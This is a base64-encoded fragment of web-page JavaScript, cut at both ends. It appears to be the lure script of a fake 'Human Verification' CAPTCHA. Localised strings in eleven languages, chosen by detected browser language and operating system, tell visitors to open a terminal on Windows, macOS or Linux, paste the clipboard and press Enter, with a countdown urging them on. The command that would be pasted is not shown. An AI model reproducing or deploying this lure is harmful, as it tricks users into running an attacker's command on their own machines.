ZW4gU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGRlOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIE1hYy1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidkYW5uIEVudGVyIGRyXHUwMGZjY2tlbicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0RpZSBDbWQtVGFzdGUgKFx1MjMxOCkgYmVmaW5kZXQgc2ljaCBuZWJlbiBkZXIgTGVlcnRhc3RlLiBEclx1MDBmY2NrZW4gU2llIENtZCtMZWVydGFzdGUgZlx1MDBmY3IgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGZyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VmZmVjdHVleiBsZXMgXHUwMGU5dGFwZXMgc3VyIHZvdHJlIGNsYXZpZXIgTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidwdWlzIEVudHJcdTAwZTllJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRyXHUwMGU5ZSBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonTGEgdG91Y2hlIENtZCAoXHUyMzE4KSBlc3QgXHUwMGUwIGNcdTAwZjR0XHUwMGU5IGRlIGxhIGJhcnJlIGRcdTIwMTllc3BhY2UuIENtZCtFc3BhY2Ugb3V2cmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGVzOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1JlYWxpemEgbG9zIHBhc29zIGVuIHR1IHRlY2xhZG8gTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNpbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonbHVlZ28gRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidMYSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGp1bnRvIGEgbGEgYmFycmEgZXNwYWNpYWRvcmEuIENtZCtFc3BhY2lvIGFicmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGl0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VzZWd1aSBpIHBhc3NhZ2dpIHN1bGxhIHRhc3RpZXJhIE1hYycsc3RlcDE6JzxiPkNtZCArIFNwYXppbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDoncG9pIEludmlvJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5JbnZpbyBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonSWwgdGFzdG8gQ21kIChcdTIzMTgpIFx1MDBlOCBhY2NhbnRvIGFsbGEgYmFycmEgc3BhemlhdHJpY2UuIENtZCtTcGF6aW8gYXByZSBTcG90bGlnaHQuJ30sDQogICAgICAgICAgICAgICAgcHQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gdGVjbGFkbyBNYWMnLHN0ZXAxOic8Yj5DbWQgKyBFc3BhXHUwMGU3bzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonZGVwb2lzIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGFvIGxhZG8gZGEgYmFycmEgZGUgZXNwYVx1MDBlN28uIENtZCtFc3BhXHUwMGU3byBhYnJlIG8gU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIHpoOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1OGJmN1x1NTcyOCBNYWMgXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1NzEzNlx1NTQwZVx1NjMwOSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOCAoQ29tbWFuZCkgXHU5NTJlXHU1NzI4XHU3YTdhXHU2ODNjXHU5NTJlXHU2NWMxXHUzMDAyXHU2MzA5IENtZCtTcGFjZSBcdTYyNTNcdTVmMDAgU3BvdGxpZ2h0XHUzMDAyJ30sDQogICAgICAgICAgICAgICAgamE6IHtrZXlib2FyZEluc3RydWN0aW9uczonTWFjXHUzMDZlXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J0VudGVyXHUzMDkyXHU2MmJjXHUzMDU5JyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4IChDb21tYW5kKSBcdTMwYWRcdTMwZmNcdTMwNmZcdTMwYjlcdTMwZGFcdTMwZmNcdTMwYjlcdTMwYWRcdTMwZmNcdTMwNmVcdTk2YTNcdTMwNjdcdTMwNTlcdTMwMDJDbWQrU3BhY2VcdTMwNjcgU3BvdGxpZ2h0IFx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J01hYyBcdWQwYTRcdWJjZjRcdWI0ZGNcdWM1ZDBcdWMxMWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdWM3ODVcdWI4MjUgXHVkNmM0IEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4KENvbW1hbmQpIFx1ZDBhNFx1YjI5NCBcdWMyYTRcdWQzOThcdWM3NzRcdWMyYTRcdWJjMTQgXHVjNjJjXHViODZkXHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNC4gQ21kK1NwYWNlXHViODVjIFNwb3RsaWdodFx1Yzc0NCBcdWM1ZmRcdWIyYzhcdWIyZTQuJ30sDQogICAgICAgICAgICAgICAgdHI6IHtrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIE1hYyBrbGF2eWVuaXpkZSBnZXJcdTAwZTdla2xlXHUwMTVmdGlyaW4nLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonc29ucmEgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTIzMTggKENvbW1hbmQpIHR1XHUwMTVmdSBib1x1MDE1Zmx1ayB0dVx1MDE1ZnVudW4geWFuXHUwMTMxbmRhZFx1MDEzMXIuIENtZCtTcGFjZSBTcG90bGlnaHRcdTIwMTlcdTAxMzEgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTWFjJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1MDYyYlx1MDY0NSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBcdTIzMTggKENvbW1hbmQpIFx1MDYyOFx1MDYyY1x1MDYyN1x1MDY0Nlx1MDYyOCBcdTA2NDVcdTA2NDNcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjMzXHUwNjI3XHUwNjQxXHUwNjI5LiBDbWQrU3BhY2UgXHUwNjRhXHUwNjQxXHUwNjJhXHUwNjJkIFNwb3RsaWdodC4nfQ0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIGxpbnV4OiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBMaW51eCBrZXlib2FyZCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvciBvcGVuIFRlcm1pbmFsIGZyb20gbWVudScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1Qgb3BlbnMgVGVybWluYWwgb24gVWJ1bnR1LCBHTk9NRSwgS0RFLCBhbmQgbW9zdCBMaW51eCBkZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBkZToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBMaW51eC1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPlN0cmcgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvZGVyIFRlcm1pbmFsIFx1MDBmY2JlciBkYXMgTWVuXHUwMGZjIFx1MDBmNmZmbmVuJyxzdGVwMzonPGI+U3RyZyArIFVtc2NoYWx0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonU3RyZytBbHQrVCBcdTAwZjZmZm5ldCBkYXMgVGVybWluYWwgdW50ZXIgVWJ1bnR1LCBHTk9NRSwgS0RFIHVuZCBkZW4gbWVpc3RlbiBMaW51eC1EZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBmcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IG91dnJleiBUZXJtaW5hbCBkZXB1aXMgbGUgbWVudScsc3RlcDM6JzxiPkN0cmwgKyBNYWogKyBWPC9iPicsc3RlcDQ6JzxiPkVudHJcdTAwZTllIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIG91dnJlIGxlIHRlcm1pbmFsIHN1ciBVYnVudHUsIEdOT01FLCBLREUgZXQgbGEgcGx1cGFydCBkZXMgYnVyZWF1eCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBlczoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J28gYWJyZSBUZXJtaW5hbCBkZXNkZSBlbCBtZW5cdTAwZmEnLHN0ZXAzOic8Yj5DdHJsICsgTWF5XHUwMGZhcyArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYWJyZSBsYSB0ZXJtaW5hbCBlbiBVYnVudHUsIEdOT01FLCBLREUgeSBsYSBtYXlvclx1MDBlZGEgZGUgZXNjcml0b3Jpb3MgTGludXguJ30sDQogICAgICAgICAgICAgICAgaXQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXNlZ3VpIGkgcGFzc2FnZ2kgc3VsbGEgdGFzdGllcmEgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonbyBhcHJpIFRlcm1pbmFsIGRhbCBtZW51JyxzdGVwMzonPGI+Q3RybCArIE1haXVzYyArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYXByZSBpbCB0ZXJtaW5hbGUgc3UgVWJ1bnR1LCBHTk9NRSwgS0RFIGUgbGEgbWFnZ2lvciBwYXJ0ZSBkZWkgZGVza3RvcCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBwdDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IGFicmEgbyBUZXJtaW5hbCBwZWxvIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFicmUgbyB0ZXJtaW5hbCBubyBVYnVudHUsIEdOT01FLCBLREUgZSBuYSBtYWlvcmlhIGRvcyBkZXNrdG9wcyBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICB6aDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjggTGludXggXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1NjIxNlx1NGVjZVx1ODNkY1x1NTM1NVx1NjI1M1x1NWYwMCBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHU1M2VmXHU1NzI4IFVidW50dVx1MzAwMUdOT01FXHUzMDAxS0RFIFx1N2I0OVx1NTkyN1x1NTkxYVx1NjU3MCBMaW51eCBcdTY4NGNcdTk3NjJcdTRlMGFcdTYyNTNcdTVmMDBcdTdlYzhcdTdhZWZcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBqYToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidMaW51eFx1MzA2ZVx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdTMwN2VcdTMwNWZcdTMwNmZcdTMwZTFcdTMwY2JcdTMwZTVcdTMwZmNcdTMwNGJcdTMwODkgVGVybWluYWwgXHUzMDkyXHU5NThiXHUzMDRmJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTMwNjcgVWJ1bnR1XHUzMDAxR05PTUVcdTMwMDFLREUgXHU3YjQ5XHUzMDZlXHU1OTI3XHUzMDRkXHUzMDZhIExpbnV4IFx1MzBjN1x1MzBiOVx1MzBhZlx1MzBjOFx1MzBjM1x1MzBkN1x1MzA2N1x1MzBiZlx1MzBmY1x1MzBkZlx1MzBjYVx1MzBlYlx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0xpbnV4IFx1ZDBhNFx1YmNmNFx1YjRkY1x1YzVkMFx1YzExYyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1YjYxMFx1YjI5NCBcdWJhNTRcdWIyNzRcdWM1ZDBcdWMxMWMgVGVybWluYWwgXHVjMmU0XHVkNTg5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVFx1YjI5NCBVYnVudHUsIEdOT01FLCBLREUgXHViNGYxIFx1YjMwMFx1YmQ4MFx1YmQ4NFx1Yzc1OCBMaW51eCBcdWIzNzBcdWMyYTRcdWQwNmNcdWQxYjFcdWM1ZDBcdWMxMWMgXHVkMTMwXHViYmY4XHViMTEwXHVjNzQ0IFx1YzVmZFx1YjJjOFx1YjJlNC4nfSwNCiAgICAgICAgICAgICAgICB0cjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidBZFx1MDEzMW1sYXJcdTAxMzEgTGludXgga2xhdnllbml6ZGUgZ2VyXHUwMGU3ZWtsZVx1MDE1ZnRpcmluJyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J3ZleWEgbWVuXHUwMGZjZGVuIFRlcm1pbmFsIGFcdTAwZTdcdTAxMzFuJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCwgVWJ1bnR1LCBHTk9NRSwgS0RFIHZlIFx1MDBlN29cdTAxMWZ1IExpbnV4IG1hc2FcdTAwZmNzdFx1MDBmY25kZSB0ZXJtaW5hbGkgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonXHUwNjIzXHUwNjQ4IFx1MDYyN1x1MDY0MVx1MDYyYVx1MDYyZCBUZXJtaW5hbCBcdTA2NDVcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQyXHUwNjI3XHUwNjI2XHUwNjQ1XHUwNjI5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTA2NGFcdTA2NDFcdTA2MmFcdTA2MmQgXHUwNjI3XHUwNjQ0XHUwNjM3XHUwNjMxXHUwNjQ1XHUwNjRhXHUwNjMyXHUwNjI3XHUwNjQ0IFx1MDYzOVx1MDY0NFx1MDY0OSBVYnVudHUgXHUwNjQ4IEdOT01FIFx1MDY0OCBLREUgXHUwNjQ4XHUwNjQ1XHUwNjM5XHUwNjM4XHUwNjQ1IFx1MDYyM1x1MDYzM1x1MDYzN1x1MDYyZCBMaW51eC4nfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KDQogICAgICAgIHZhciBTVVBQT1JURURfTEFOR1MgPSBbJ2VuJywgJ2RlJywgJ2ZyJywgJ2VzJywgJ2l0JywgJ3B0JywgJ3poJywgJ2phJywgJ2tvJywgJ3RyJywgJ2FyJ107DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0QnJvd3Nlckxhbmd1YWdlQ29kZSgpIHsNCiAgICAgICAgICAgIHZhciBicm93c2VyTGFuZ3VhZ2VzID0gKG5hdmlnYXRvci5sYW5ndWFnZXMgJiYgbmF2aWdhdG9yLmxhbmd1YWdlcy5sZW5ndGggPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmxhbmd1YWdlcyA6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbbmF2aWdhdG9yLmxhbmd1YWdlIHx8ICdlbiddKQ0KICAgICAgICAgICAgICAgIC5tYXAoZnVuY3Rpb24obGFuZykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gU3RyaW5nKGxhbmcgfHwgJycpLnRvTG93ZXJDYXNlKCkuc3BsaXQoJy0nKVswXTsNCiAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBicm93c2VyTGFuZ3VhZ2VzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKFNVUFBPUlRFRF9MQU5HUy5pbmRleE9mKGJyb3dzZXJMYW5ndWFnZXNbaV0pICE9PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYnJvd3Nlckxhbmd1YWdlc1tpXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAnZW4nOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gbWVyZ2VPc0luc3RydWN0aW9uU3RlcHMoc3RyaW5ncywgbGFuZ0NvZGUpIHsNCiAgICAgICAgICAgIHZhciBvcyA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgaWYgKG9zID09PSAnd2luZG93cycpIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIHBhY2sgPSBPU19JTlNUUlVDVElPTl9QQUNLU1tvc107DQogICAgICAgICAgICBpZiAoIXBhY2spIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIG92ZXJsYXkgPSBwYWNrW2xhbmdDb2RlXSB8fCBwYWNrLmVuOw0KICAgICAgICAgICAgaWYgKCFvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZvciAodmFyIGtleSBpbiBvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgaWYgKG92ZXJsYXkuaGFzT3duUHJvcGVydHkoa2V5KSkgew0KICAgICAgICAgICAgICAgICAgICBzdHJpbmdzW2tleV0gPSBvdmVybGF5W2tleV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gb3ZlcmxheS5zdGVwS2V5SGVscCB8fCBzdHJpbmdzLndpbmRvd3NLZXlIZWxwOw0KICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFN0ZXAySHRtbCh0cmFuc2xhdGlvbnMpIHsNCiAgICAgICAgICAgIHZhciBodG1sID0gdHJhbnNsYXRpb25zLnN0ZXAyIHx8ICcnOw0KICAgICAgICAgICAgaWYgKHRyYW5zbGF0aW9ucy5zdGVwMkNoaXApIHsNCiAgICAgICAgICAgICAgICBodG1sICs9ICc8c3BhbiBjbGFzcz0idGVybS1jaGlwIj4nICsgdHJhbnNsYXRpb25zLnN0ZXAyQ2hpcCArICc8L3NwYW4+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBodG1sOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0VHJhbnNsYXRlZFN0cmluZ3MoKSB7DQogICAgICAgICAgICB2YXIgdHJhbnNsYXRpb25zID0ge2VuOntub3RSb2JvdFRleHQ6IkknbSBub3QgYSByb2JvdCIsdmVyaWZ5aW5nVGV4dDonVmVyaWZ5aW5nLi4uJyx2ZXJpZmljYXRpb25UaXRsZTonSHVtYW4gVmVyaWZpY2F0aW9uJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29tcGxldGUgdGhlIHN0ZXBzIGJlbG93JyxrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBrZXlib2FyZCcsdGltZVJlbWFpbmluZzonVGltZSBSZW1haW5pbmcnLHdhcm5pbmczMFNlY29uZHM6J0xlc3MgdGhhbiAzMCBzZWNvbmRzIHJlbWFpbmluZyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonb3IgY2hvb3NlIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybXMnLHNlY3VyaXR5TWVzc2FnZTonbmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuJyx3aW5kb3dzS2V5SGVscDonVGhpcyBpcyB0aGUgV2luZG93cyBrZXksIGxvY2F0ZWQgYXQgdGhlIGJvdHRvbSBvZiB5b3VyIGtleWJvYXJkIGJldHdlZW4gQ3RybCBhbmQgQWx0LCB1bmRlciB0aGUgWiBrZXknfSxkZTp7bm90Um9ib3RUZXh0OidJY2ggYmluIGtlaW4gUm9ib3RlcicsdmVyaWZ5aW5nVGV4dDonXHUwMGRjYmVycHJcdTAwZmNmdW5nXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonTWVuc2NobGljaGUgVmVyaWZpemllcnVuZycsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0ZcdTAwZmNocmVuIFNpZSBkaWUgZm9sZ2VuZGVuIFNjaHJpdHRlIGF1cycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIFRhc3RhdHVyIGR1cmNoJyx0aW1lUmVtYWluaW5nOidWZXJibGVpYmVuZGUgWmVpdCcsd2FybmluZzMwU2Vjb25kczonV2VuaWdlciBhbHMgMzAgU2VrdW5kZW4hJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J29kZXIgVGVybWluYWwnLHN0ZXAzOic8Yj5TdHJnICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonRGF0ZW5zY2h1dHonLHRlcm1zTGluazonQmVkaW5ndW5nZW4nLHNlY3VyaXR5TWVzc2FnZTonbXVzcyBkaWUgU2ljaGVyaGVpdCB